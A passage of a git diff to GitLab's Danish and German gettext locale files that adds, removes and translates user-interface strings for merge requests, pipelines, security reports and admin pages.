@@ -40330,6 +40993,9 @@ msgstr "Sikkerhedsskanning"
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr "Løsning"
@@ -40387,7 +41053,7 @@ msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiSt
msgstr "Tillykke! Din første pipeline kører %{emojiStart}zap%{emojiEnd}"
msgid "codeQualityWalkthrough|Got it"
-msgstr ""
+msgstr "OK"
msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
msgstr "Lad os starte, ved at oprette en ny CI-fil."
@@ -40700,21 +41366,9 @@ msgstr "importflow"
msgid "in"
msgstr "i"
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr "i hele GitLab"
-
-msgid "in group"
-msgstr "i gruppe"
-
msgid "in group %{link_to_group}"
msgstr "i gruppen %{link_to_group}"
-msgid "in project"
-msgstr "i projekt"
-
msgid "in project %{link_to_project}"
msgstr "i projektet %{link_to_project}"
@@ -40867,9 +41521,6 @@ msgstr "låst af %{path_lock_user_name} %{created_at}"
msgid "log in"
msgstr "log ind"
-msgid "managed"
-msgstr "håndteret"
-
msgid "manual"
msgstr "manuelt"
@@ -40899,15 +41550,15 @@ msgstr "mere information"
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
-msgstr ""
-
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} vil blive tilføjet til %{targetBranch}."
-
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1 sammenlægningscommit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
+msgstr ""
+
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
+msgstr ""
+
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr "Sammenlægningsanmodningen indeholder ingen ændringer."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr " Gendan den venligst eller brug en anden %{missingBranchName}-gren"
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr "%{metricsLinkStart} Hukommelsesforbrug %{metricsLinkEnd} %{emphasisStart
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr "%{metricsLinkStart} Hukommelsesforbrug %{metricsLinkEnd} er %{emphasisStart} uændret %{emphasisEnd} på %{memoryFrom} MB"
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr "Annuller automatisk sammenlægning"
@@ -41015,6 +41663,9 @@ msgstr "Opret problemstilling for at løse alle tråde"
msgid "mrWidget|Delete source branch"
msgstr "Slet kildegren"
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr "Udsendelsesstatistik er ikke tilgængelig i øjeblikket"
@@ -41024,12 +41675,18 @@ msgstr "Lukkede ikke"
msgid "mrWidget|Dismiss"
msgstr "Afskedig"
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr "E-mail-patches"
msgid "mrWidget|Failed to load deployment statistics"
msgstr "Kunne ikke indlæse udsendelsesstatistik"
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr "Skjul %{widget}-detaljer"
@@ -41065,21 +41722,36 @@ msgstr "Sammenlæg"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr "Sammenlægning blokeret: alle tråde skal være løst."
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr "Sammenlægning blokeret: pipeline skal lykkes. Den venter på en manuel handling for at fortsætte."
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Sammenlægning mislykkedes."
msgid "mrWidget|Merge locally"
msgstr "Sammenlæg lokalt"
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr "Sammenlagt af"
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr "Sammenlægger! Ændringer er ved at blive sendt afsted …"
@@ -41092,6 +41764,15 @@ msgstr "Sammenlægger! Trommehvirvel, tak …"
msgid "mrWidget|Merging! Everything's good…"
msgstr "Sammenlægger! Det ser altsammen godt ud …"
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr "Sammenlægger! Det skal nok blive godt …"
@@ -41131,9 +41812,6 @@ msgstr "Anmodning om at sammenlægge"
msgid "mrWidget|Resolve conflicts"
msgstr "Løs konflikter"
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr "Tilbagefør"
@@ -41164,9 +41842,6 @@ msgstr "Ændringerne blev sammenlagt i"
msgid "mrWidget|The changes were not merged into"
msgstr "Ændringerne blev ikke sammenlagt i"
-msgid "mrWidget|The changes will be merged into"
-msgstr "Ændringerne vil blive sammenlagt i"
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,38 +41857,29 @@ msgstr "Kildegrenen er %{link} målgrenen"
msgid "mrWidget|The source branch is being deleted"
msgstr "Kildegrenen er ved at blive slettet"
-msgid "mrWidget|The source branch will be deleted"
-msgstr "Kildegrenen vil blive slettet"
-
-msgid "mrWidget|The source branch will not be deleted"
-msgstr "Kildegrenen vil ikke blive slettet"
-
-msgid "mrWidget|There are merge conflicts"
-msgstr "Der er sammenlægningskonflikter"
-
msgid "mrWidget|This merge request failed to be merged automatically"
msgstr "Sammenlægningsanmodningen kunne ikke sammenlægges automatisk"
-msgid "mrWidget|This project is archived, write access has been disabled"
-msgstr "Projektet er aktiveret. Skriveadgang er blevet deaktiveret"
-
msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|What is a merge train?"
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
+msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgstr ""
+
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr "Du kan kun sammenlægge når sammenlægningsanmodningen er godkendt."
+msgid "mrWidget|What is a merge train?"
+msgstr ""
msgid "mrWidget|Your password"
msgstr "Din adgangskode"
@@ -41375,6 +42041,18 @@ msgstr "pipeline"
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr "log ind"
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr "sortér:"
-
msgid "source"
msgstr "kilde"
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr "sidder fast"
diff --git a/locale/de/gitlab.po b/locale/de/gitlab.po
index 7fa90704966..a64941b8c82 100644
--- a/locale/de/gitlab.po
+++ b/locale/de/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: de\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:40\n"
+"PO-Revision-Date: 2021-12-06 18:58\n"
msgid " %{start} to %{end}"
msgstr " %{start} bis %{end}"
@@ -70,11 +70,8 @@ msgstr "\"%{path}\" existiert nicht auf \"%{ref}\""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr "\"el\" Parameter wird für createInstance() benötigt"
-
msgid "#%{issueIid} (closed)"
-msgstr ""
+msgstr "#%{issueIid} (geschlossen)"
msgid "#general, #development"
msgstr "#allgemein, #entwicklung"
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] "%d festes Testergebnis"
msgstr[1] "%d feste Testergebnisse"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] "%d Gruppe"
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] "%d Merge Request auf das du keinen Zugriff hast."
msgstr[1] "%d Merge Requests auf die du keinen Zugriff hast."
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d Metrik"
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] "%d Fragment ausgewählt"
msgstr[1] "%d Fragmente ausgewählt"
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] "%d Tag"
@@ -366,8 +378,8 @@ msgstr[1] ""
msgid "%d token has expired"
msgid_plural "%d tokens have expired"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d Token ist abgelaufen"
+msgstr[1] "%d Token sind abgelaufen"
msgid "%d unassigned issue"
msgid_plural "%d unassigned issues"
@@ -386,8 +398,8 @@ msgstr[1] "%d Sicherheitslücken"
msgid "%d vulnerability dismissed"
msgid_plural "%d vulnerabilities dismissed"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d Sicherheitslücke verworfen"
+msgstr[1] "%d Sicherheitslücken verworfen"
msgid "%d vulnerability updated"
msgid_plural "%d vulnerabilities updated"
@@ -407,14 +419,20 @@ msgstr[1] "%s zusätzliche Commits wurden ausgelassen um Leistungsprobleme zu ve
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
-msgid "%{address} is an invalid IP address range"
+msgid "%{actionText} & close %{noteable}"
msgstr ""
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
+msgid "%{address} is an invalid IP address range"
+msgstr "%{address} ist ein ungültiger IP-Adressbereich"
+
msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr "%{anchorOpen}Erfahre mehr%{anchorClose} darüber, wie du Registrierungen für diese Instanz anpassen / deaktivieren kannst."
msgid "%{author_link} cloned %{original_issue} to %{new_issue}."
-msgstr ""
+msgstr "%{author_link} hat %{original_issue} zu %{new_issue} geklont."
msgid "%{author_link} cloned %{original_issue}. You don't have access to the new project."
msgstr ""
@@ -435,42 +453,42 @@ msgstr[1] ""
msgid "%{bold_start}%{count}%{bold_end} member"
msgid_plural "%{bold_start}%{count}%{bold_end} members"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%{bold_start}%{count}%{bold_end} Mitglied"
+msgstr[1] "%{bold_start}%{count}%{bold_end} Mitglieder"
msgid "%{bold_start}%{count}%{bold_end} opened merge request"
msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%{bold_start}%{count}%{bold_end} offener Merge Request"
+msgstr[1] "%{bold_start}%{count}%{bold_end} offene Merge Requests"
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
-msgstr ""
+msgstr "%{code_open}Maskiert:%{code_close} In Job-Logs versteckt. Muss Maskier-Bedingungen erfüllen."
msgid "%{code_open}Protected:%{code_close} Only exposed to protected branches or tags."
-msgstr ""
+msgstr "%{code_open}Geschützt:%{code_close} Nur für geschützte Branches oder Tags sichtbar."
msgid "%{commit_author_link} authored %{commit_authored_timeago}"
-msgstr ""
+msgstr "%{commit_author_link} verfasste %{commit_authored_timeago}"
msgid "%{commit_author_link} authored %{commit_authored_timeago} and %{commit_committer_avatar} %{commit_committer_link} committed %{commit_committer_timeago}"
-msgstr ""
+msgstr "%{commit_author_link} verfasste %{commit_authored_timeago} und %{commit_committer_avatar} %{commit_committer_link} committete %{commit_committer_timeago}"
msgid "%{completedCount} completed weight"
-msgstr ""
+msgstr "%{completedCount} fertige Gewichtung"
msgid "%{completedCount} of %{count} task completed"
msgid_plural "%{completedCount} of %{count} tasks completed"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%{completedCount} von %{count} Aufgaben erledigt"
+msgstr[1] "%{completedCount} von %{count} Aufgaben erledigt"
msgid "%{completedWeight} of %{totalWeight} weight completed"
-msgstr ""
+msgstr "%{completedWeight} von %{totalWeight} Gewichtung abgeschlossen"
msgid "%{cores} cores"
msgstr "%{cores} Kerne"
msgid "%{count} %{scope} for term '%{term}'"
-msgstr ""
+msgstr "%{count} %{scope} für Begriff '%{term}'"
msgid "%{count} LOC/commit"
msgstr "%{count} LOC/Commit"
@@ -483,16 +501,21 @@ msgstr[1] "%{count} Zustimmungen erforderlich von %{name}"
msgid "%{count} approvals from %{name}"
msgstr "%{count} Zustimmungen von %{name}"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr "%{count} Dateien verändert"
msgid "%{count} item"
msgid_plural "%{count} items"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%{count} Element"
+msgstr[1] "%{count} Elemente"
msgid "%{count} items per page"
-msgstr ""
+msgstr "%{count} Einträge pro Seite"
msgid "%{count} more"
msgstr "%{count} weitere"
@@ -520,16 +543,16 @@ msgid "%{count} related %{pluralized_subject}: %{links}"
msgstr "%{count} verwandte %{pluralized_subject}: %{links}"
msgid "%{count} selected"
-msgstr ""
+msgstr "%{count} ausgewählt"
msgid "%{count} total weight"
msgstr "%{count} Gesamtgewichtung"
msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
-msgstr ""
+msgstr "%{criticalStart}%{critical} Kritisch%{criticalEnd} %{highStart}%{high} Hoch%{highEnd} und %{otherStart}%{otherMessage}%{otherEnd}"
msgid "%{dashboard_path} could not be found."
-msgstr ""
+msgstr "Konnte %{dashboard_path} nicht finden."
msgid "%{days} days until tags are automatically removed"
msgstr "%{days} Tage, bis Tags automatisch entfernt werden"
@@ -544,16 +567,16 @@ msgid "%{doc_link_start}Advanced search%{doc_link_end} is disabled since %{ref_e
msgstr "%{doc_link_start}Erweiterte Suche%{doc_link_end} ist deaktiviert, da %{ref_elem} nicht der Standard-Branch ist. %{default_branch_link_start}Suche auf %{default_branch} statt%{default_branch_link_end}."
msgid "%{doc_link_start}Advanced search%{doc_link_end} is enabled."
-msgstr ""
+msgstr "%{doc_link_start}Erweiterte Suche%{doc_link_end} ist aktiviert."
msgid "%{docs_link_start}Learn about visibility levels.%{docs_link_end}"
msgstr ""
msgid "%{docs_link_start}What is Large File Storage?%{docs_link_end}"
-msgstr ""
+msgstr "%{docs_link_start}Was ist \"Large File Storage\"?%{docs_link_end}"
msgid "%{docs_link_start}What is two-factor authentication?%{docs_link_end}"
-msgstr ""
+msgstr "%{docs_link_start}Was ist Zwei-Faktor-Authentifizierung?%{docs_link_end}"
msgid "%{due_date} (Past due)"
msgstr "%{due_date} (überfällig)"
@@ -586,22 +609,22 @@ msgid "%{firstLabel} +%{labelCount} more"
msgstr "%{firstLabel} +%{labelCount} mehr"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
-msgstr ""
+msgstr "%{firstMilestoneName} + %{numberOfOtherMilestones} weitere"
msgid "%{gitlab_experience_text}. Don't worry, this information isn't shared outside of your self-managed GitLab instance."
-msgstr ""
+msgstr "%{gitlab_experience_text}. Diese Informationen werden nicht außerhalb dieser selbstverwalteten GitLab-Instanz weitergegeben."
msgid "%{gitlab_experience_text}. We won't share this information with anyone."
-msgstr ""
+msgstr "%{gitlab_experience_text}. Wir teilen diese Informationen mit niemandem."
msgid "%{global_id} is not a valid ID for %{expected_types}."
-msgstr ""
+msgstr "%{global_id} ist keine gültige ID für %{expected_types}."
msgid "%{group_name} activity"
msgstr "%{group_name} Aktivität"
msgid "%{group_name} group members"
-msgstr ""
+msgstr "%{group_name} Gruppenmitglieder"
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr "%{group_name} nutzt Accounts, die von einer Gruppe verwaltet werden. Du musst dir einen neuen GitLab-Account erstellen, welcher von %{group_name} verwaltet wird."
@@ -646,49 +669,49 @@ msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr "%{labelStart}Klasse:%{labelEnd} %{class}"
msgid "%{labelStart}Crash Address:%{labelEnd} %{crash_address}"
-msgstr ""
+msgstr "%{labelStart}Absturzadresse:%{labelEnd} %{crash_address}"
msgid "%{labelStart}Crash State:%{labelEnd} %{stacktrace_snippet}"
msgstr "%{labelStart}Absturzzustand:%{labelEnd} %{stacktrace_snippet}"
msgid "%{labelStart}Evidence:%{labelEnd} %{evidence}"
-msgstr ""
+msgstr "%{labelStart}Beweis:%{labelEnd} %{evidence}"
msgid "%{labelStart}File:%{labelEnd} %{file}"
-msgstr ""
+msgstr "%{labelStart}Datei:%{labelEnd} %{file}"
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
msgid "%{labelStart}Method:%{labelEnd} %{method}"
-msgstr ""
+msgstr "%{labelStart}Methode:%{labelEnd} %{method}"
msgid "%{labelStart}Namespace:%{labelEnd} %{namespace}"
-msgstr ""
+msgstr "%{labelStart}Namensraum:%{labelEnd} %{namespace}"
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
-msgstr ""
+msgstr "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
-msgstr ""
+msgstr "%{labelStart}Anfrage gesendet:%{labelEnd} %{headers}"
msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
-msgstr ""
+msgstr "%{labelStart}Schweregrad:%{labelEnd} %{severity}"
msgid "%{labelStart}Tool:%{labelEnd} %{reportType}"
-msgstr ""
+msgstr "%{labelStart}Tool:%{labelEnd} %{reportType}"
msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
-msgstr ""
+msgstr "%{labelStart}Unveränderte Antwort:%{labelEnd} %{headers}"
msgid "%{label_for_message} unavailable"
msgstr "%{label_for_message} nicht verfügbar"
msgid "%{learn_more_link}."
-msgstr ""
+msgstr "%{learn_more_link}."
msgid "%{lessThan} 1 hour"
-msgstr ""
+msgstr "%{lessThan} 1 Stunde"
msgid "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end} is a free, automated, and open certificate authority (CA) that issues digital certificates to enable HTTPS (SSL/TLS) for sites."
msgstr "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end} ist eine freie, automatisierte und offene Zertifizierungsstelle (CA), die digitale Zertifikate vergibt, um HTTPS (SSL/TLS) für Webseiten zu ermöglichen."
@@ -705,11 +728,11 @@ msgstr "%{link_start}Erfahre mehr%{link_end} über Rollenberechtigungen."
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr "%{link_start}Entferne das %{draft_snippet} Präfix%{link_end} aus dem Titel, damit dieser Merge Request gemerged werden kann, wenn er bereit ist."
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
-msgstr "%{link_start}Beginne den Titel mit %{draft_snippet}%{link_end}, um zu verhindern, dass ein Merge Request, der noch in Arbeit ist, gemerged wird, bevor er fertig ist."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
+msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
-msgstr ""
+msgstr "%{link_start}Welche Informationen sammelt GitLab Inc.?%{link_end}"
msgid "%{listToShow}, and %{awardsListLength} more"
msgstr "%{listToShow} und %{awardsListLength} weitere"
@@ -759,6 +782,9 @@ msgstr "%{name} gefunden %{resultsString}"
msgid "%{name} is already being used for another emoji"
msgstr "%{name} wird bereits für ein anderes Emoji verwendet"
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr "%{name} ist geplant für %{action}"
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr "%{primary} (%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr "%{rotation} wurde mit den verbliebenen Beteiligten neu errechnet. Bitte
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr "%{start} bis %{end}"
-msgid "%{state} epics"
-msgstr "%{state} Epics"
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr "%{total} offenes Ticketgewicht"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (kann nicht mergen)"
@@ -1004,7 +1033,7 @@ msgid "%{userName}'s avatar"
msgstr "Avatar von %{userName}"
msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
-msgstr ""
+msgstr "%{user_name} (%{user_username}) wurde von %{rotation} in %{schedule} in %{project} entfernt. "
msgid "%{user_name} profile page"
msgstr "Profileseite von %{user_name}"
@@ -1025,13 +1054,13 @@ msgid "%{user} created an epic: %{epic_link}"
msgstr ""
msgid "%{user} created an issue: %{issue_link}"
-msgstr ""
+msgstr "%{user} hat ein Ticket erstellt: %{issue_link}"
msgid "%{value} is not included in the list"
-msgstr ""
+msgstr "%{value} ist nicht in der Liste enthalten"
msgid "%{value} s"
-msgstr ""
+msgstr "%{value} s"
msgid "%{verb} %{time_spent_value} spent time."
msgstr "%{verb} %{time_spent_value} verbrachte Zeit."
@@ -1128,6 +1157,11 @@ msgstr "(entfernt)"
msgid "(revoked)"
msgstr "(widerrufen)"
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr "+ %{amount} weitere"
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ", oder "
@@ -1480,9 +1520,6 @@ msgstr "Ein neues Release %{tag} für %{name} wurde veröffentlicht. Besuche die
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr "Ein neues Release %{tag} für %{name} wurde veröffentlicht. Besuche die Releases-Seite, um mehr darüber zu erfahren:"
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr "Ein neuer Branch wird in deinem Fork erzeugt und ein neuer Merge-Request wird gestartet."
-
msgid "A new impersonation token has been created."
msgstr "Eine neuer Identitätswechsel-Token wurde erstellt."
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr "Zugangs-Token"
msgid "Access denied for your LDAP account."
msgstr "Zugriff für dein LDAP-Konto verweigert."
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr "Zugriff abgelehnt! Stelle sicher, dass du diesem Repository Bereitstellungsschlüssel hinzufügen kannst."
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr "Eine nummerierte Liste hinzufügen"
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "Tabelle hinzufügen"
msgid "Add a task list"
msgstr "Eine Aufgabenliste hinzufügen"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr "Neue Anwendung hinzufügen"
msgid "Add new directory"
msgstr "Erstelle eine neues Verzeichnis"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr "Füge Benutzer(innen) zur Gruppe hinzu"
msgid "Add variable"
msgstr "Variable hinzufügen"
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr "Webhook hinzufügen"
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr "Ein Ticket zu einem Epic hinzugefügt."
-msgid "Added at"
-msgstr "Hinzugefügt um"
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,8 +2246,8 @@ msgstr "Fügt %{epic_ref} als Sub-Epic hinzu."
msgid "Adds %{labels} %{label_text}."
msgstr "Fügt %{labels} %{label_text} hinzu."
-msgid "Adds a Zoom meeting"
-msgstr "Fügt ein Zoom-Meeting hinzu"
+msgid "Adds a Zoom meeting."
+msgstr ""
msgid "Adds a to do."
msgstr ""
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr "Fügt ein Ticket zu einem Epic hinzu."
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
